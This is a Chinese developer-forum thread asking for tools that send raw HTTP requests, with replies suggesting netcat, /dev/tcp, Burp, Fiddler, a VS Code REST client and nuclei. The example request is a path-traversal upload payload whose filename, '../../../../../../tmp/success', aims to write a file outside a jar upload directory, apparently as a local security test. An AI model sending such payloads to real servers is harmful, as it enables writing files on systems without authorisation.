V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
httpbin - 协议调试工具
httpstatuses - 协议状态码查询
httpie - cURL-like tool for humans
Fiddler
chackchackGO
V2EX  ›  HTTP

什么工具适合方便的发送原始 HTTP 包?

  •  
  •   chackchackGO · 115 天前 · 1050 次点击
    这是一个创建于 115 天前的主题,其中的信息可能已经有所发展或是发生改变。

    例如

    POST /jars/upload HTTP/1.1
    Host: localhost:8081
    Accept-Encoding: gzip, deflate
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
    Connection: close
    Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoZ8meKnrrso89R6Y
    Content-Length: 187
    
    ------WebKitFormBoundaryoZ8meKnrrso89R6Y
    Content-Disposition: form-data; name="jarfile"; filename="../../../../../../tmp/success"
    
    success
    ------WebKitFormBoundaryoZ8meKnrrso89R6Y--
    

    这样一段 HTTP 包,无论用 postman ,postwoman, curl 之类的工具都需要自行修改这个字符串以符合他们的使用格式, 有些不方便。

    7 条回复    2024-01-03 10:01:42 +08:00
    2wex
        1
    2wex  
       115 天前
    `cat xxxxxxxx > /dev/tcp/127.0.0.1/80`
    2wex
        2
    2wex  
       115 天前   ❤️ 1
    或者 netcat `nc 127.0.0.1 80` 然后粘贴原始数据
    chackchackGO
        3
    chackchackGO  
    OP
       115 天前
    @2wex 有在用, 但是偶尔看不到响应。 目前姑且用 burp 的 repeater 了。
    jifengg
        4
    jifengg  
       115 天前
    我记得 Fiddler Classic 的 Composer 是可以的。选到“Raw”
    moonheart
        5
    moonheart  
       115 天前
    https://github.com/Huachao/vscode-restclient

    可以直接粘贴原始请求
    proxytoworld
        6
    proxytoworld  
       115 天前
    修改哪个字符串,另外你要发送 raw 的 http 的话可以用 nuclei ,一个 yaml 搞定,你这是测试目录穿越吧
    ThirdFlame
        7
    ThirdFlame  
       115 天前
    nc xx.xx.xxx.xx 8081 < 1.txt
    关于   ·   帮助文档   ·   博客   ·   API   ·   FAQ   ·   我们的愿景   ·   实用小工具   ·   2893 人在线   最高记录 6543   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 22ms · UTC 12:29 · PVG 20:29 · LAX 05:29 · JFK 08:29
    Developed with CodeLauncher
    ♥ Do have faith in what you're doing.